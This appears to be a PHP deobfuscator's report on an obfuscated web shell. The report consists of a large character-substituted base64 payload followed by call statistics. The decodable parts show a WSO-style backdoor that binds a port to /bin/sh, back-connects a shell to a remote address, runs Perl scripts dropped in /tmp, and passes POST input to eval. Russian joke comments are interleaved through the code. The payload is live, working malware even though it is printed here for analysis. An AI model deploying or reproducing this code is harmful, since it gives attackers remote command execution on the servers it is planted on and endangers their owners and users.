Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJ~bE9MQ0~pUGl*V~QwTk$SVl~pS1R_TkNtOX@*V_RvVT~SRVQ$VlVMQ0~pUGl*V~QwTk$SVl~pS1R_TkNtOX@*V_RvVT~SRVJWSlNMQ0~pUGl*V~QwTk$SVl~pS1R_TkNuTjVjM1JsYlNnbkwySn%i*Tl6YUN%@G~TY^%P@_%LWTJ4@mMyVW9VMVJ~U1U0cE9^MEtZMnh2Y_JVb1U$UkVUMVZVS1R_TkNtTnNiM05sS0ZOVVJ~VlNV*Ws^IjsKICAgICRi*W5kX^%vcnRfcCA9ICJJeUV2Z~hOeUwySn%i*Tl^WlhKc0RRb2tVMGhGVEV^OUlpOWlhV_R2Y_JnZ0$X*2lP@_%LYV@ZZ0t~QkJV*2RXSUR^Z01T*2@leUJsZU@sMEtERX%PeUI5R~~wMWMyVW@VMjlqYTJWME9^MEtjMjlqYTJWMEtGTXNKbEJHWD%sT1JWUXNKbE5QUT%0ZlU$UlNSVUZOTE@kbGRIQnliM1J2WW5s@VlXMW$LQ2QwWTN%bktT*2@mSH@nWk@sbElDSkRZV_UwSU@OeVpXRj%*U0J6YjJOclpYUmNi*Uk^R~~welpYUnpiMk5yYjNCMEtGTXNVMDlNWD~OU~Ew@EZWQ^hUVDE5U1JWVlRSVUZ~UkZJc01T*_@EUX%pYVc1*0tGTXNjMjlqYTJG*1pISmZhV_RvSkVGU1I$WmJNRj%_U1U1QlJ~UlNYMEZPV1NrcElIeDhJR1JwWlN%*VEyRnVkQ0J2Y0@W@UlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5@^pLU0I4ZkNC*2~XVW@J*05oYm5RZ2JHbHpkR1Z1SUhC@mNuUmNi*Uk^R~~wM2~HbHN*U2@4S1NCN0RRb0pZV05qWlhCMEt~Tl%U*_R_VXlrN0RRb0phV1lvSVNn*2NHbGtQV1p2Y21_cEtTQj@EUW9KQ1@Sc~pTQWlRMkZ1Ym05MElHWnZjbXNpSU@sbUlDZ2h*R1ZtYVc1b~pDQWtjR2$rS1R_TkNn*0piM0JsYmlCV~Z~UkpU*X@pUEN*R~QwNU9J*nNOQ2@rSmI_Qm$i*UJUVkVSU~ZWUXNJ*jRtUTA5T1RpST@EUW9KQ1c5@1pXNG@VMVJ~UlZKU0$DSStK*05QVGs0*U9^MEtDUW$sZU@W*klDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUW@RMDlPVGl%*VEyRnVkQ0JsZU@W*mRYUm$JQ1JUU0VWTVRGeHVJ*nNOQ2@rSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQX@P@_%LQ1gwTkNuMD0iOwogICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0JLQvtGCINGC0YsuINCn0YLQviDRgyDRgtC10LHRjyDQt9CwINC80LDRiNC40L^QsD8gKi8KICAgICAgICAiPGg$Pk5l@H@vcmsg@G9vbHM8L2g$Pj$k*XYgY2$hc^M9Y29u@GVu@D4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybS%uYW1lPS@uZnAnIG9uU^VibWl0PVwiZyhu@W$sLG51bGwsJ2JwcCcs@Ghpcy5wb^J0LnZhbHVlKTtyZXR1cm4gZm~sc2U7XCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+QmluZC%wb^J0IHRvIC9i*W4vc2ggW^%lcm$@PC9_cG~uPj$ici8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG9y@DogPGlucHV0IHR5cGU9J^RleHQnIG5hbWU9J^%vcnQnIHZhbHVlPSc_MTM_Nyc+ID$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT0nPj4nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybS%uYW1lPS@uZnAnIG9uU^VibWl0PVwiZyhu@W$sLG51bGwsJ2JjcCcs@Ghpcy5_ZXJ2ZXIu@m~s@WUs@Ghpcy5wb^J0LnZhbHVlKTtyZXR1cm4gZm~sc2U7XCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+Qm~j*y1jb25uZWN0IC%bcGVyb~08L^NwYW4+PGJyL_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%TZXJ2ZXI6ID$pbn%1@C%0eX%lPS@0ZXh0Jy%uYW1lPS@_ZXJ2ZXInIHZhbHVlPSciIC4gJ~9TRVJWRVJbJ1J~TU9URV9%RERSJ10gLiAiJ_4gUG9y@DogPGlucHV0IHR5cGU9J^RleHQnIG5hbWU9J^%vcnQnIHZhbHVlPSc_MTM_Nyc+ID$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT0nPj4nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT48YnI+IjsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ^A$J10pKS%7CiAgICAgICAgZnVuY^Rpb24gLyogP~%l@GVyPjog0KMg0L_Qt@C90Y8/INCl0L7Qv@C00LAg0YfRk@GA0L^QsNGPISAqLwogICAgICAgIGNmKCRmLCAk@CkKICAgICAgIC%7CiAgICAgICAgICAgICR^ID0gQGZvcGVuKCRmLCAi@yIpb^JAZnVuY^Rpb25fZXhpc^R_KC@m*W$lX^%1@~9jb250ZW50cycpOwogICAgICAgICAgIC%pZiAoJHcpIHsKICAgICAgICAgICAgICAgIE%m@^Jp@GUoJHcsIE%iYXNlNjRfZGVjb2RlKCR0KSk7CiAgICAgICAgICAgICAgIC%AZmNsb^NlKCR^KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAg*WYgKCRfUE9TV~sncDEnXSA9PSAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+LCDRh@C+0L^QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQv@Cw0Y8sINC00LA/ICovCiAgICAgICAgICAgIC@icHAnCiAgICAgICAgKS%7CiAgICAgICAgICAgIGNmKCIv@G1wL2JwLn%sIiwgJGJpbmRfcG9y@~9wKTsKICAgICAgICAgICAgJG91@CA9IH@_b0V4KCJwZXJsIC90bXAvYnAucGwgIiAuICRfUE9TV~sncDInXSAuICIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKHJv@W5kKDAgKyA$KSk7CiAgICAgICAgICAgIGVj*G8gIj$wcmUgY2$hc^M9bWw$PiRv@XRcbiIgLi%^c29~eCgicHMgYXV4IHwgZ^JlcC%icC5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGlu*ygiL^RtcC9icC5wbCIpOwogICAgICAgIH0KICAgICAgIC%pZiAoJ~9QT1NUWy@wMS@@ID09IC8qID$QZXRlcj46INC*0L7QvNC/0LDQutGC0L^QsNGPPyDQlNCwING%0LDQvCDQv9C+0YHQvNC+0YLRgNC4IS4uINCk0LDQuiDQvNC+0Lkg0L_QvtC^0LMhISDQk9C00LUg0L_QsNGI0LjQv@CwPyAqLwogICAgICAgICAgICAnYmNwJwogICAgICAgICkgewogICAgICAgICAgIC%jZigiL^RtcC9iYy5wbCIsICRiYWNrX2Nvbm5lY^RfcCk7CiAgICAgICAgICAgICRv@XQgPS%^c29~eCgicGVybCAv@G1wL2JjLn%sICIgLiAkX1%PU1RbJ^AyJ10gLiAiICIgLiAkX1%PU1RbJ^A_J10gLiAiIDE+L2Rl@i9u@W$sIDI+JjEgJiIpOwogICAgICAgICAgIC%_bGVlcChyb^VuZCgwICsgMC41ICsgMC41KSk7CiAgICAgICAgICAgIGVj*G8gIj$wcmUgY2$hc^M9bWw$PiRv@XRcbiIgLi%^c29~eCgicHMgYXV4IHwgZ^JlcC%iYy5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGlu*ygiL^RtcC9iYy5wbCIpOwogICAgICAgIH0KICAgIH0KICAgIGVj*G8gLyogPE~2b24+OiDQmCDQs9C00LUg0L7Qv@CwPyAqLwogICAgJ_wvZGl2Pic7CiAgIC%^c29Gb290ZXIoKTsKfQoKZnVuY^Rpb24gLyogP~%l@GVyPjog0KLRiyDRg9C60YDQsNC7INC80L7RjiDQvNCw0YjQuNC90YMsINGH0ZEg0YLRiyDRg@GC0YvRgNC40Lst0YLQviDQvNC+0Y4g0L_QsNGI0LjQv@GDP_8gKi8KYWN0*W9uUkMoKQp7CiAgIC%pZiAoIUAkX1%PU1RbJ^A$J10pIHsKICAgICAgICAkYSA9IG~ycm~5KCJ1bm~tZSIgPT4gLyogPERh@mlkIEJsYWluZT46INCi0Ysg0YHQsNC8INCy0L^QuNC80LDRgtC10LvRjNC9INC/0L7Rg@C80L7RgtGA0LguICovCiAgICAgICAgcGhwX^VuYW1lKCksICJw*H%f@mVyc2lvbiIgPT4gLyogPE~2b24+OiDQktC+0YIg0Y^RgtCwINC10LHQsNC70LDQu@C60LAg0YfRgtC+INC70Lgg0YLQstC+0Y8g0L_QsNGI0LjQv@CwPyAqLwogICAgICAgIH%ocHZlcnNpb24oKSwgIn@_b192ZXJ_*W9uIiA9PiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGLINGH0ZEsING%0LrRg9C60L7QttC40Lsg0L_QvtGOINC80LDRiNC40L^Rg_8g0JTQsCDRgyDQvNC10L^RjyDRgtCw0Lwg0LLRg@GPINC+0LTQt@C20LTQsCDQvtG%0YLQsNC70LDRg@GMISDQotCw0Lwg0LTQttC40L^Rg@GLINC80L7QuCDQu9C10LbQsNC70LghICovCiAgICAgICAgV1NPX1Z~UlNJT04sICJ_YWZlbW9kZSIgPT4gQGlu*V9nZXQoJ^NhZmVfbW9kZScpKTsKICAgICAgIC%lY2hvIC8qID$%@m9uPjog0J^RgyDRgtGL0LfQtNC10YYuINCt0YLQviDQtiDQvNC+0Y8g0LvRjtC$0LjQvNCw0Y8g0LrQt@C/0LrQsCEg0JHQsNGA0LHQuC^Rg@Cw0LnQtyDQutCw0LrQvtC5L@GC0L4sINC60YPQtNCwINC80L^QtSDQt@GRINGC0LXQv9C10YDRjCDQvtC00LXQstCw0YLRjCwg0L^QsCDQv9C40YHRjtC9PyAqLwogICAgICAgIHNlcmlhbGl6ZSgkYSk7CiAgIC%9IGVsc2UgewogICAgICAgIGV2YWwoJ~9QT1NUWy@wMS@@KTsKICAgIH0KfQoK*WYgKGVtcHR5KCRfUE9TV~snYS@@KSkg*WYgKGl_c2V0KCRfX2RlZm~1bHRfX2~j@GlvbikgJiYgLyogPE~2b24+OiDQotCw0LosINC00LDQuS^QutCwINC80L^QtSDRgtC10L/Qt@GA0Ywg0LXQs@Cw0LvQsNC50LrRgywg0LTQsNC5ING%0Y7QtNCwLi4uINCS0YHRkSwg0YLRiyDQsiDRgtGO0YDRjNC80YMg0YLQt@C/0LXRgNGMINC/0L7Qu@C00ZHRiNGMLCDQlNGN0LLQuNC0INCR0LvQt@C50L0hINCt0YLQviDQstC10YnQtNC+0LosINGN0YLQviDQstC10YnQtNC+0LohICovCiAgIC%m@W5j@Glvbl9leGl_@HMoJ2~j@GlvbicgLiAkX19kZWZh@W$0X19hY^Rpb24pCikgJ~9QT1NUWy@hJ10gPSAkX19kZWZh@W$0X19hY^Rpb247IGVsc2UgLyogP~%l@GVyPjog0IHQvNCw0L^QsNGA0L7Rgiwg0YLRiyDQstC80LXRg@GC0LUg0YEg0LTQttC40L^Rg@Cw0L_QuCDRg@C10L_RjNC00LXRg@GP0YIg0LTQvtC70LvQsNGA0L7QsiDRg@C60YPQutC+0LbQuNC7LCDQstG%0LUg0LrQvtC80L/QsNC60YIt0LTQuNG%0LrQuCDQv9C+0LrRg9C60L7QttC40LssINCU0LbQvtC9INCc0LXQuNGALCDQmtGN0LLQuCDQkNC90LTQt@GA0LLRg9C0LCDQlNC40YHQuiDQmiDQvNC40LvQu9C40L7Qv@C10YAuLi4gKi8KJ~9QT1NUWy@hJ10gPSAnU2VjSW5mbyc7CmlmICghZW1w@HkoJ~9QT1NUWy@hJ10pICYmIC8qID$QZXRlcj46INCi0Ysg0YHQutGD0LrQvtC20LjQuyDQmiDQvNC40LvQu9C40L7Qv@C10YAsINGC0Ysg0LPQvtCy0L^RjtC6ISDQg@C80LDQv@Cw0YDQvtGCISAqLwogICAgZnVuY^Rpb25fZXhpc^R_KC@hY^Rpb24nIC4gJ~9QT1NUWy@hJ10pCikgY2~sb~91c2VyX2Z1bmMoJ2~j@GlvbicgLiAkX1%PU1RbJ2EnXSk7CmV4*XQ7IC8qID$%@m9uPjog0J7QvSDQvNCw0YjQuNC90YMg0YDQsNG%0LrRg9C60L7QttC40LssINC/0L7QutCwINGPINC10ZEg0LIg0YDRg9C60LDRhSDQtNC10YDQttCw0LshINCvINGH0YPRgtGMINC90LUg0YPQvNC10YAhICov
')))))))));

Function Calls

str_replace 7
base64_decode 1

Variables

None

Stats

MD5 d0d836fd39292c05f7cb8f34c4e9c651
Eval Count 1
Decode Time 421 ms